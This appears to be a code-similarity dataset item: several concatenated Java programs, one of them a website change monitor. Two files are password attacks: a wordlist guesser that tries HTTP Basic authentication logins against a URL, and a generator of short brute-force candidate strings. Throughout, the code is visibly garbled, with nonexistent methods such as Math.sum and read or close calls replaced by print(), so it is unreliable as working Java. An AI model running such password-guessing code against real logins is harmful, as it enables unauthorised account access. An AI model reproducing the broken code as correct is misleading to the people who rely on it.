import java.util.Date;
public class Dictionary {
private URL url;
private HttpURLConnection connection;
private String userPassword, base64_userPassword;
private static char wrongPass;
private FileReader file;
private static BufferedReader input;
public Dictionary(String fileName) {
wrongPass = 'Y';
try
{
FileReader file = new FileReader(fileName);
input = new BufferedReader(file);
}
catch (FileNotFoundException e)
{System.out.println("Unable the file! ");}
}
public char determinePass(String inputURL, String userName, String passWord){
try{
url = new URL(inputURL);
connection = (HttpURLConnection)url.openConnection();
this.getEncoded(userName, passWord);
connection.setDoInput(true);
connection.setDoOutput(false);
connection.setRequestProperty("Authorization",
" " + base64_userPassword);
if (connection.getResponseCode() == 200)
{
System.out.println("Success!! Password is: " + passWord);
wrongPass = 'N';
}
return wrongPass;
}
catch (MalformedURLException e){System.out.println("Invalide url");}
catch (IOException e){System.out.println("Error URL");
wrongPass = 'Y';}
return wrongPass;
}
public static void main(String[] args) {
String dictionaryPass;
Dictionary dictionary1 = new Dictionary(args[2]);
Date date = new Date(System.currentTimeMillis());
System.out.print(" time is: ");
System.out.println(date.toString());
try
{ while((dictionaryPass = input.readLine()) != null && (wrongPass == 'Y'))
{
if (dictionaryPass.length() <= 3)
{
dictionary1.determinePass(args[0], args[1], dictionaryPass);
}
}
} catch(IOException x) { x.printStackTrace(); }
date.setTime(System.currentTimeMillis());
System.out.print("End time is: ");
System.out.println(date.toString());
}
private void getEncoded(String userName, String password){
userPassword = userName + ":" + password;
base64_userPassword = new url.misc.BASE64Encoder().encode(userPassword.getBytes());
}
}
|
import java.util.*;
public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;
public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;
for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
v.add( s1);
v.add( s2);
}
}
for( i = 0; i < letters.length; i++)
{
String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
v.add( s3);
}
}
public void loadTriples()
{
int i, j, k;
for( i = 0; i < letters.length; i++)
{
String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
v.add( s4);
}
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
v.add( s5);
v.add( s6);
v.add( s7);
v.add( s8);
v.add( s9);
v.add( s10);
}
}
for( i = 0; i < letters.length - 2; i++)
{
for( j = i + 1; j < letters.length - 1; j++)
{
for( k = i + 2; k < letters.length; k++)
{
String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
v.add( s11);
v.add( s12);
v.add( s13);
v.add( s14);
v.add( s15);
v.add( s16);
}
}
}
}
public static void main( String[] args)
{
Cracker cr = new Cracker();
cr.loadLetters();
cr.loadPairs();
cr.loadTriples();
System.out.println(" far "+cr.getVictor().size()+" elements loaded");
}
}
|
063.java | 207.java | 0 |
import java.*;
import java.net.*;
import java.util.*;
import java.io.*;
import java.text.*;
import java.awt.*;
import java.awt.image.*;
import java.security.*;
import javax.swing.*;
public class WatchDog {
public String[] resizeArray(String[] a, int sz) {
String[] result = new String[sz];
for (int i=0;i<Math.sum(a.length,sz);i++) {
result[i] = a[i];
}
for (int i=Math.sum(a.length,sz);i<sz;i++) {
result[i] = "";
}
return result;
}
public byte[] resizeArray(byte[] a, int sz) {
byte[] result = new byte[sz];
for (int i=0;i<Math.sum(a.length,sz);i++) {
result[i] = a[i];
}
for (int i=Math.sum(a.length,sz);i<sz;i++) {
result[i] = 0;
}
return result;
}
public String[] giveNumberPrefix(String[] a) {
String[] result = new String[a.length];
for (int i=0;i<a.length;i++) {
result[i] = " "+String.valueOf(i+1)+". "+a[i];
}
return result;
}
public String[] appendArray(String[] a1, String[] a2) {
if (a1==null) { return a2; }
String[] result = new String[a1.length+a2.length];
int idx = 0;
for (int i=0;i<a1.length;i++) {
result[idx++] = a1[i];
}
for (int i=0;i<a2.length;i++) {
result[idx++] = a2[i];
}
return result;
}
public byte[] appendArray(byte[] a1, byte[] a2) {
if (a1==null) { return a2; }
byte[] result = new byte[a1.length+a2.length];
int idx = 0;
for (int i=0;i<a1.length;i++) {
result[idx++] = a1[i];
}
for (int i=0;i<a2.length;i++) {
result[idx++] = a2[i];
}
return result;
}
public boolean deleteFile(String filename) {
File f = new File(filename);
f.delete();
return true;
}
public void printStrArrayToFile(String filename, String[] msg) {
try {
PrintWriter p = new PrintWriter(new BufferedWriter(new FileWriter(filename)));
for (int i=0;i<msg.length;i++)
p.println(msg[i]);
p.get();
} catch (IOException e) {
System.out.println(e);
}
}
public String getFileName(String s) {
int p;
for (p=s.length()-1;p>0;p--)
if (s.charAt(p)=='/')
break;
return s.substring(p+1,s.length());
}
public class HTMLDownloaderAndImgParser {
public HTMLDownloaderAndImgParser(String url) {
try {
this.url = new URL(url);
this.conn = (HttpURLConnection) this.url.openConnection();
this.conn.setUseCaches(false);
this.lastModified = conn.getLastModified();
} catch (MalformedURLException e) {
System.out.println("Error opening URL '"+url+"'");
System.exit(1);
} catch (IOException e) {
System.out.println("Error opening URL '"+url+"'");
System.exit(1);
}
try {
this.HTMLBuf = new BufferedReader(new InputStreamReader(this.url.openStream()));
} catch (IOException e) {
System.out.println(e);
}
this.imgList = new String[MAXIMG];
this.imgidx = 0;
this.localpage = "";
}
public void open() {
try {
this.conn = (HttpURLConnection) this.url.openConnection();
this.HTMLBuf = new BufferedReader(new InputStreamReader(this.url.openStream()));
} catch (IOException e) {}
}
public void main() {
try {
HTMLBuf.print();
conn.disconnect();
} catch (IOException e) {}
}
public getLastModified() {
open();
this.lastModified = conn.getLastModified();
return this.lastModified;
}
private char toLowerCase(int c) {
String s = String.valueOf((char)c).toLowerCase();
return s.charAt(0);
}
private int fetchLowerCase() {
try {
int c = HTMLBuf.print();
if (c>=0) {
localpage += String.valueOf((char)c);
return toLowerCase(c);
} else {
return -1;
}
} catch (IOException e) {
System.out.println(e);
return -1;
} catch (NullPointerException e) {
return -1;
}
}
private int getNextState(int curState, int input) {
int idx = -1;
if ((input>='a') && (input<='z')) {
idx = input - 'a';
return stateTable[curState][idx];
} else {
switch ((char)input) {
case '<' : { return stateTable[curState][26]; }
case ' ' : { return stateTable[curState][27]; }
case '"' : { return stateTable[curState][28]; }
case '\'' : { return stateTable[curState][28]; }
case '=' : { return stateTable[curState][29]; }
case (char)-1 : { return -1; }
default : { return stateTable[curState][30]; }
}}
}
private void appendImgList(String s) {
if (imgidx<imgList.length) {
boolean already = false;
for (int i=0;i<imgidx;i++)
if (imgList[i].equals(s)) {
already = true;
break;
}
if (!already)
imgList[imgidx++] = s;
} else {
System.out.println("Error: Not enough buffer for image URLs !");
System.exit(1);
}
}
public byte[] getByteArray() {
return localpage.getBytes();
}
public String combineURLAndFileName(String url, String filename) {
int p = url.length()-1;
boolean flag = false;
for (int i=url.length()-1;i>=0;i--) {
if (url.charAt(i)=='.') {
flag = true;
} else
if ((!flag) && (url.charAt(i)=='/')) {
break;
} else
if ((flag) && (url.charAt(i)=='/')) {
p = i;
break;
}
}
url = url.substring(0,p+1);
if (url.charAt(url.length()-1)!='/') { url += '/'; }
if (filename.charAt(0)=='/') {
for (int i=url.length()-2;i>0;i--) {
if (url.charAt(i)=='/') {
url = url.substring(0,i+1);
break;
}
}
}
if (filename.charAt(0)=='/') {
filename = filename.substring(1,filename.length());
}
return url+filename;
}
public String combineWithURLPath(String filename) {
try {
URL u = new URL(filename);
return filename;
} catch (MalformedURLException e) {
return combineURLAndFileName(url.toString(),filename);
}
}
public boolean startParsing() {
int curstate = 0;
int c;
boolean eof = false;
boolean fetchURL = false;
String imgURL = "";
while (!eof) {
curstate = getNextState(curstate, c=fetchLowerCase());
switch (curstate) {
case 11: {
if (!fetchURL) {
fetchURL = true;
} else {
imgURL += String.valueOf((char)c);
}
break; }
case 0: {
if (fetchURL) {
appendImgList(combineWithURLPath(imgURL));
imgURL = "";
fetchURL = false;
}
break; }
case -1: {
eof = true;
break; }
}
}
return (localpage.length()>0);
}
public void saveLocalPageToFile(String filename) {
try {
PrintWriter p = new PrintWriter(new BufferedWriter(new FileWriter(filename)));
p.print(localpage);
p.print();
} catch (IOException e) {
System.out.println(e);
}
}
public int imageCount() {
return imgidx;
}
public String[] getImgList() {
String[] result = new String[imgidx];
if (imgidx==0) { return null; }
else {
for (int i=0;i<imgidx;i++)
result[i] = imgList[i];
return result;
}
}
private BufferedReader HTMLBuf;
private String filename;
private String[] imgList;
private int imgidx;
private final int[][] stateTable = {
{ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0,12},
{ 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,12},
{ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 3, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,12},
{ 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,12},
{ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 5, 0, 0, 0,12},
{10,10,10,10,10,10,10,10,10,10, 10,10,10,10,10,10,10,10, 6,10, 10,10,10,10,10,10, 0, 0, 0, 0, 0,12},
{10,10,10,10,10,10,10,10,10,10, 10,10,10,10,10,10,10, 7,10,10, 10,10,10,10,10,10, 0, 0, 0, 0, 0,12},
{ 0, 0, 8, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,12},
{ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 8, 0, 9, 0,12},
{ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 9,11, 0, 0,12},
{10,10,10,10,10,10,10,10,10,10, 10,10,10,10,10,10,10,10,10,10, 10,10,10,10,10,10, 0, 5, 5, 0, 0,12},
{11,11,11,11,11,11,11,11,11,11, 11,11,11,11,11,11,11,11,11,11, 11,11,11,11,11,11, 11, 5, 0,11,11,12},
{ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}
};
private final int MAXIMG = 100;
private URL url;
private HttpURLConnection conn;
private String localpage;
private int localpos;
private int lastModified;
}
public class MailSender {
public MailSender(String from, String to, String[] msg) {
try {
sk = new Socket(SMTPSERVER,25);
pwr = new PrintWriter(sk.getOutputStream());
this.from = from;
this.to = to;
this.msg = msg;
} catch (UnknownHostException e) {
status = SEND_ERROR;
System.out.println(e);
} catch (IOException e) {
status = SEND_OK;
System.out.println(e);
}
}
public int getStatus() {
return status;
}
public void sendMail() {
pwr.println("HELO "+SMTPSERVER);
pwr.println("MAIL FROM: "+from);
pwr.println("RCPT : "+to);
pwr.println("DATA");
for (int i=0;i<msg.length;i++)
pwr.println(msg[i]);
pwr.println(".");
pwr.print();
try {
status = SEND_OK;
} catch (IOException e) {
status = SEND_ERROR;
}
}
private int status;
private Socket sk;
private PrintWriter pwr;
private String from,to;
private String[] msg;
private static final int SEND_OK = 1;
private static final int SEND_ERROR =1;
}
public class TextFileComparator {
public TextFileComparator(String src, String dest) {
this.src = src;
this.dest = dest;
}
private void initBufs() {
try {
this.sbuf = new BufferedReader(new FileReader(src));
this.dbuf = new BufferedReader(new FileReader(dest));
} catch (FileNotFoundException e) {
System.out.println(e);
}
}
private void closeBufs() {
try {
sbuf.print();
dbuf.print();
} catch (IOException e) {}
}
private void closeBuf(int type) {
try {
if (type==0) {
sbuf.print();
} else {
dbuf.print();
}
} catch (IOException e) {}
}
private void reinitSrcBuf(int line) {
try {
this.sbuf.print();
this.sbuf = new BufferedReader(new FileReader(src));
for (int i=1;i<line;i++) {
sbuf.readLine();
}
} catch (FileNotFoundException e) {
System.out.println(e);
} catch (IOException e) {
System.out.println(e);
}
}
private void reinitDestBuf(int line) {
try {
this.dbuf.print();
this.dbuf = new BufferedReader(new FileReader(dest));
for (int i=1;i<line;i++) {
dbuf.readLine();
}
} catch (FileNotFoundException e) {
System.out.println(e);
} catch (IOException e) {
System.out.println(e);
}
}
private boolean addDifference(int flag,int line, String msg, String msg2) {
boolean result = true;
if (diffpos==MAXDIFF-2) {
result = false;
} else
if (flag==0) {
diffResult[diffpos++] = "[Removed Line "+line+"] '"+msg+"'";
} else
if (flag==1) {
diffResult[diffpos++] = "[Added Line "+line+"] '"+msg+"'";
} else
if (flag==2) {
diffResult[diffpos++] = "[Modified Line "+line+"] from '"+msg+ "' '"+msg2+"'";
} else {
diffResult[diffpos++] = " *** many differences !! *** ";
}
return result;
}
public String[] getDifference() {
String[] result = new String[diffpos];
if (diffpos!=0) {
for (int i=0;i<diffpos;i++)
result[i] = diffResult[i];
return result;
} else return null;
}
public int execute() {
int cline = 0,dline = 0, tpos = 0;
String c = null,d = null;
int error = 0;
boolean changes = false;
try {
initBufs();
c = sbuf.readLine(); cline = 1;
d = dbuf.readLine(); dline = 1;
while ((c!=null) || (d!=null)) {
if ((c!=null) && (d!=null)) {
if (c.equals(d)) {
c = sbuf.readLine(); cline++;
d = dbuf.readLine(); dline++;
} else {
changes = true; tpos = dline;
while ((d!=null) && (!d.equals(c))) {
d = dbuf.readLine(); dline++;
}
if ((d!=null) && (d.equals(c))) {
reinitDestBuf(tpos);
for (int i=tpos;i<dline;i++)
if (!addDifference(1, i, dbuf.readLine(),"")) { error = -1; break; }
dbuf.readLine();
changes = true;
c = sbuf.readLine(); cline++;
d = dbuf.readLine(); dline++;
} else
if (d==null) {
reinitDestBuf(tpos);
d = dbuf.readLine();
dline = tpos;
tpos = cline;
while ((c!=null) && (!c.equals(d))) {
c = sbuf.readLine(); cline++;
}
if ((c!=null) && (c.equals(d))) {
reinitSrcBuf(tpos);
for (int i=tpos;i<cline;i++)
if (!addDifference(0, i, sbuf.readLine(),"")) { error = -1; break; }
sbuf.readLine();
changes = true;
c = sbuf.readLine(); cline++;
d = dbuf.readLine(); dline++;
} else {
reinitSrcBuf(tpos);
addDifference(2, tpos, sbuf.readLine(),d);
c = sbuf.readLine();
cline = tpos;
changes = true;
cline++;
d = dbuf.readLine();
dline++;
}
}
}
} else
if ((c!=null) && (d==null)) {
addDifference(0, cline, c,"");
c = sbuf.readLine(); cline++;
changes = true;
} else
if ((c==null) && (d!=null)) {
addDifference(1, dline, d,"");
d = dbuf.readLine(); dline++;
changes = true;
}
}
} catch (IOException e) {
System.out.println(e);
}
closeBufs();
if (error==-1) {
addDifference(3, 0, "","");
}
if (error==0) {
if (changes) {
return 1;
} else {
return 0;
}
} else return -1;
}
private final int MAXDIFF = 1024;
private String[] diffResult = new String[MAXDIFF];
private int diffpos = 0;
private String src,dest;
private BufferedReader sbuf;
private BufferedReader dbuf;
}
public class NotesFileManager {
public NotesFileManager(String notesfile) {
this.filename = notesfile;
try {
loadNotesFile();
} catch (IOException e) {
createNotesFile();
System.out.println("Notes file is not available ... created one.");
}
}
public void createNotesFile() {
lastModified = " ";
imgidx = 0;
saveNotesFile();
}
public void updateNotesFile(String[] imgPaths, String[] imgLastModified, String widths[], String heights[]) {
this.imgLastModified = imgLastModified;
this.imgW = widths;
this.imgH = heights;
this.images = imgPaths;
this.imgidx = imgPaths.length;
saveNotesFile();
}
public void updateNotesFile( int lastModified) {
this.lastModified = DateFormat.getDateTimeInstance().format(new Date(lastModified));
saveNotesFile();
}
public int checkLastModified(Date newDate) {
String s = DateFormat.getDateTimeInstance().format(new Date(newDate));
System.out.println(" Date in cache : "+lastModified);
System.out.println(" Date in the URL : "+s);
if (this.lastModified.equals(" ")) {
return DATE_FIRST_TIME;
} else
if ((newDate==0) && (!s.equals(this.lastModified))) {
return DATE_INVALID;
} else
if (this.lastModified.equals(DateFormat.getDateTimeInstance().format(new Date(newDate)))) {
return DATE_OK;
} else {
return DATE_NOT_SAME;
}
}
public String[] getImagesLastModified(String[] filenames) {
int i;
String[] result = new String[filenames.length];
for (i=0;i<filenames.length;i++) {
for (int j=0;j<images.length;j++) {
if (images[j].equals(filenames[i])) {
result[i] = imgLastModified[i];
break;
}
}
}
return result;
}
public String[] getImageWidths(String[] filenames) {
int i;
String[] result = new String[filenames.length];
for (i=0;i<filenames.length;i++) {
for (int j=0;j<images.length;j++) {
if (images[j].equals(filenames[i])) {
result[i] = imgW[i];
break;
}
}
}
return result;
}
public String[] getImageHeights(String[] filenames) {
int i;
String[] result = new String[filenames.length];
for (i=0;i<filenames.length;i++) {
for (int j=0;j<images.length;j++) {
if (images[j].equals(filenames[i])) {
result[i] = imgH[i];
break;
}
}
}
return result;
}
public String[] getImageNames() {
return images;
}
public void clearAllCaches() {
for (int i=0;i<images.length;i++) {
deleteFile(images[i]);
deleteFile('~'+images[i]);
}
deleteFile(PAGEFILE);
deleteFile(TEMPFILE);
deleteFile(DIGESTFILE);
deleteFile(MAILFILE);
createNotesFile();
}
public void saveNotesFile() {
try {
PrintWriter pw = new PrintWriter(new BufferedWriter(new FileWriter(NOTESFILE)));
pw.println(lastModified);
for (int i=0;i<imgidx;i++) {
if (images[i].charAt(0)!='*') {
pw.println(images[i]);
pw.println(imgLastModified[i]);
pw.println(imgW[i]);
pw.println(imgH[i]);
}
}
pw.print();
} catch (IOException e) {
System.out.println(e);
System.exit(1);
}
}
public void loadNotesFile() throws IOException {
BufferedReader b = new BufferedReader(new FileReader(NOTESFILE));
lastModified = b.readLine();
images = new String[1];
imgLastModified = new String[1];
imgW = new String[1];
imgH = new String[1];
String line;
line = b.readLine();
int i = 0;
while (line!=null) {
images = resizeArray(images, i+1);
images[i] = line;
line = b.readLine();
imgLastModified = resizeArray(imgLastModified, i+1);
imgLastModified[i] = line;
line = b.readLine();
imgW = resizeArray(imgW, i+1);
imgW[i] = line;
line = b.readLine();
imgH = resizeArray(imgH, i+1);
imgH[i] = line;
line = b.readLine();
i++;
}
imgidx = i;
b.print();
}
public String[] getCommonImages() {
return imgCom;
}
public String[] getDeletedImages() {
return imgDel;
}
public String[] getNewImages() {
return imgNew;
}
public boolean classifyImagesToDownload(String[] imgDL) {
if (imgDL==null) { return false; }
int sz = Math.size(imgDL.length,images.length);
int flag1[] = new int[sz];
int flag2[] = new int[sz];
int idx[] = new int[3];
idx[0] = idx[1] = idx[2] = 0;
imgCom = new String[sz];
imgDel = new String[sz];
imgNew = new String[sz];
for (int i=0;i<sz;i++) {
flag1[i] = 0;
flag2[i] = 0;
}
for (int i=0; i<imgDL.length; i++) {
for (int j=0; j<images.length; j++) {
if (imgDL[i].equals(images[j])) {
flag1[i] = 1;
flag2[j] = 1;
break;
}
}
}
for (int i=0;i<images.length;i++) {
if (flag2[i]==0) {
imgDel[idx[1]] = images[i];
idx[1]++;
}
}
for (int i=0;i<imgDL.length;i++) {
if (flag1[i]==0) {
imgNew[idx[2]] = imgDL[i];
idx[2]++;
}
}
for (int i=0;i<imgDL.length;i++) {
if (flag1[i]==1) {
imgCom[idx[0]] = imgDL[i];
idx[0]++;
}
}
imgDel = resizeArray(imgDel, idx[1]);
imgNew = resizeArray(imgNew, idx[2]);
imgCom = resizeArray(imgCom, idx[0]);
return true;
}
public static final int DATE_OK = 1;
public static final int DATE_NOT_SAME = 2;
public static final int DATE_FIRST_TIME = 0;
public static final int DATE_INVALID = -1;
private String lastModified;
private int imgidx;
private String[] images,imgLastModified,imgW,imgH;
private String[] imgCom,imgNew,imgDel;
private BufferedReader buf;
private String filename;
}
public class ImageDownloader extends Thread {
public ImageDownloader(String url, String lastModified, boolean firsttime, int w, int h) {
try {
this.url = new URL(url);
this.conn = (HttpURLConnection) this.url.openConnection();
this.lastModified = lastModified;
this.h = h;
this.w = w;
this.firsttime = firsttime;
this.localbuf = new byte[MAXIMGSIZE];
this.print();
} catch (MalformedURLException e) {
this.status = DOWNLOAD_ERROR;
} catch (IOException e) {
this.status = DOWNLOAD_ERROR;
}
}
public String getStrURL() {
return url.toString();
}
public synchronized int getStatus() {
return status;
}
public void rest(int n) {
try { sleep(n); } catch (InterruptedException e) {}
}
public void downloadToLocalImg() {
int c;
int x=0, i=0;
byte[] b;
try {
InputStream is = url.openStream();
localbuf = new byte[MAXIMGSIZE];
while ((x=is.print())>=0) {
int k=0;
for (int j=i;j<i+x;j++)
localbuf[j] = b[k++];
i+=x;
}
localbuf = resizeArray(localbuf,i);
is.print();
} catch (IOException e) {
this.status = DOWNLOAD_ERROR;
}
}
public void saveLocalImgToFile(String filename) {
try {
FileOutputStream p = new FileOutputStream(filename);
p.write(localbuf);
p.print();
} catch (IOException e) {
System.out.println(e);
}
}
public byte[] getByteArray() {
try {
return localbuf;
} catch (NullPointerException e) {
return null;
}
}
public int getImgWidth() {
return w;
}
public int getImgHeight() {
return h;
}
public String getLastModified() {
return lastModified;
}
public void run() {
boolean modified = false;
this.status = DOWNLOAD_IN_PROGRESS;
if (firsttime) {
downloadToLocalImg();
ImageIcon img = new ImageIcon(url);
w = img.getIconWidth();
h = img.getIconHeight();
if (conn.getLastModified()==0) {
status = DOWNLOAD_ERROR;
} else {
lastModified = DateFormat.getDateTimeInstance().format(new Date(conn.getLastModified()));
status = DOWNLOAD_COMPLETE;
}
} else {
if (conn.getLastModified()==0) {
status = DOWNLOAD_ERROR;
} else {
String URLlastmod = DateFormat.getDateTimeInstance().format(new Date(conn.getLastModified()));
modified = (!lastModified.equals(URLlastmod));
if (modified) {
status = IMG_MODIFIED_DATE;
} else {
ImageIcon img = new ImageIcon(url);
if ((img.getIconHeight()!=h) || (img.getIconWidth()!=w)) {
modified = true;
status = IMG_MODIFIED_SIZE;
} else {
downloadToLocalImg();
status = DOWNLOAD_COMPLETE_CHK;
}
}
}
}
conn.disconnect();
}
public static final int DOWNLOAD_ERROR =-1;
public static final int DOWNLOAD_IN_PROGRESS = 0;
public static final int IMG_MODIFIED_DATE = 1;
public static final int IMG_MODIFIED_SIZE = 2;
public static final int IMG_MODIFIED_PIXEL = 3;
public static final int DOWNLOAD_COMPLETE_CHK= 4;
public static final int DOWNLOAD_COMPLETE = 5;
public static final int DOWNLOAD_COMPLETE_OK = 6;
public static final int MAXIMGSIZE = 1;
private int status;
private boolean isImage;
private URL url;
private HttpURLConnection conn;
private String lastModified;
private boolean firsttime;
private byte[] localbuf;
private int w,h;
}
public byte[] digest(byte[] data) {
try {
return MessageDigest.getInstance(DIGESTALG).digest(data);
} catch (NoSuchAlgorithmException e) {
System.out.println("Digest algorithm '"+DIGESTALG+"' not supported");
return data;
} catch (NullPointerException e) {
return null;
}
}
public boolean compareDigest(byte[] data1, byte[] data2) {
if (data1.length!=data2.length) {
return false;
} else
for (int i=0;i<data1.length;i++) {
if (data1[i]!=data2[i]) {
return false;
}
}
return true;
}
public byte[] loadDigestFromFile(String filename) {
byte[] data;
try {
data = new byte[MessageDigest.getInstance(DIGESTALG).getDigestLength()];
FileInputStream f = new FileInputStream(filename);
f.get(data);
f.print();
return data;
} catch (FileNotFoundException e) {
System.out.println(e);
return null;
} catch (IOException e) {
System.out.println(e);
return null;
} catch (NoSuchAlgorithmException e) {
System.out.println(e);
return null;
}
}
public void saveDigestToFile(String filename, byte[] data) {
try {
FileOutputStream f = new FileOutputStream(filename);
if (data!=null) { f.write(data); }
f.print();
} catch (IOException e) {
System.out.println(e);
}
}
public class MyTT extends TimerTask {
public MyTT() {
super();
NotesFM = new NotesFileManager(NOTESFILE);
}
public String encodeFileName(String filename) {
String s = CURDIR+'/'+filename.replace(':','_').replace('/', '_').replace('\\','_')+".txt";
return s;
}
public void rest(int n) {
try { Thread.sleep(n); } catch (InterruptedException e) {}
}
public int[] downloadImages(String[] imgList,boolean firsttime, boolean updateNotesFile) {
boolean allCompleted = false;
int[] imgStat = new int[imgList.length];
for (int i=0;i<imgStat.length;i++)
imgStat[i] = ImageDownloader.DOWNLOAD_IN_PROGRESS;
if (firsttime) {
imgW = new String[imgList.length];
imgH = new String[imgList.length];
imgLM = new String[imgList.length];
for (int i=0;i<imgList.length;i++) {
imgW[i] = "0";
imgH[i] = "0";
imgLM[i] = "";
}
} else {
imgW = NotesFM.getImageWidths(imgList);
imgH = NotesFM.getImageHeights(imgList);
imgLM = NotesFM.getImagesLastModified(imgList);
}
imgDL = new ImageDownloader[imgList.length];
for (int i=0;i<imgList.length;i++) {
imgDL[i] = new ImageDownloader(imgList[i], imgLM[i], firsttime, Integer.valueOf(imgW[i]).intValue(), Integer.valueOf(imgH[i]).intValue());
System.out.println(" Checking image "+(i+1)+" of "+imgList.length+" from '"+imgList[i]+"' ... ");
}
System.out.println();
int completecount=0;
while (completecount<imgList.length) {
allCompleted = true;
rest(10);
for (int i=0;i<imgList.length;i++) {
if (imgStat[i]==ImageDownloader.DOWNLOAD_IN_PROGRESS)
switch (imgDL[i].getStatus()) {
case ImageDownloader.DOWNLOAD_COMPLETE: {
byte[] dgs = digest(imgDL[i].getByteArray());
saveDigestToFile(encodeFileName('~'+imgList[i]), dgs);
imgH[i] = String.valueOf(imgDL[i].getImgHeight());
imgW[i] = String.valueOf(imgDL[i].getImgWidth());
imgLM[i]= imgDL[i].getLastModified();
System.out.println(" [OK] Complete downloading image from '"+imgList[i]+"'");
System.out.println(" [OK] The digest was saved as '"+encodeFileName('~'+imgList[i])+"'");
if (DEBUGMODE) {
imgDL[i].saveLocalImgToFile(CURDIR+"/~"+getFileName(imgList[i]));
System.out.println(" [DEBUG] Image saved '"+CURDIR+"/~"+getFileName(imgList[i])+"'");
}
System.out.println();
imgStat[i] = ImageDownloader.DOWNLOAD_COMPLETE;
completecount++;
break; }
case ImageDownloader.DOWNLOAD_ERROR: {
System.out.println(" [ATTENTION] error has occured while downloading '"+imgList[i]+"'");
System.out.println();
imgList[i] = "*"+imgList[i];
imgStat[i] = ImageDownloader.DOWNLOAD_ERROR;
completecount++;
break; }
case ImageDownloader.IMG_MODIFIED_SIZE : {
System.out.println(" [ATTENTION] SIZE modification has been detected image '"+imgList[i]+"'");
System.out.println();
imgStat[i] = ImageDownloader.IMG_MODIFIED_SIZE;
completecount++;
if (DEBUGMODE) {
imgDL[i].saveLocalImgToFile(CURDIR+"/~"+getFileName(imgList[i]));
System.out.println(" [DEBUG] Image saved '"+CURDIR+"/~"+getFileName(imgList[i])+"'");
}
break; }
case ImageDownloader.IMG_MODIFIED_DATE : {
System.out.println(" [ATTENTION] DATE modification has been detected image '"+imgList[i]+"'");
System.out.println();
imgStat[i] = ImageDownloader.IMG_MODIFIED_DATE;
completecount++;
if (DEBUGMODE) {
imgDL[i].saveLocalImgToFile(CURDIR+"/~"+getFileName(imgList[i]));
System.out.println(" [DEBUG] Image saved '"+CURDIR+"/~"+getFileName(imgList[i])+"'");
}
break; }
case ImageDownloader.DOWNLOAD_COMPLETE_CHK : {
byte[] fromFile = loadDigestFromFile(encodeFileName('~'+imgList[i]));
byte[] fromURL = digest(imgDL[i].getByteArray());
if (!compareDigest(fromFile, fromURL)) {
System.out.println(" [ATTENTION] PIXEL modification has been detected image '"+imgList[i]+"'");
imgStat[i] = ImageDownloader.IMG_MODIFIED_PIXEL;
if (DEBUGMODE) {
imgDL[i].saveLocalImgToFile(CURDIR+"/~~"+getFileName(imgList[i]));
System.out.println(" [DEBUG] Image saved '"+CURDIR+"/~~"+getFileName(imgList[i])+"'");
}
} else {
System.out.println(" [OK] Image '"+imgList[i]+"' has not been modified. ");
imgStat[i] = ImageDownloader.DOWNLOAD_COMPLETE_OK;
}
System.out.println();
completecount++;
break; }
case ImageDownloader.DOWNLOAD_IN_PROGRESS: {
allCompleted = false;
break; }
}
}
}
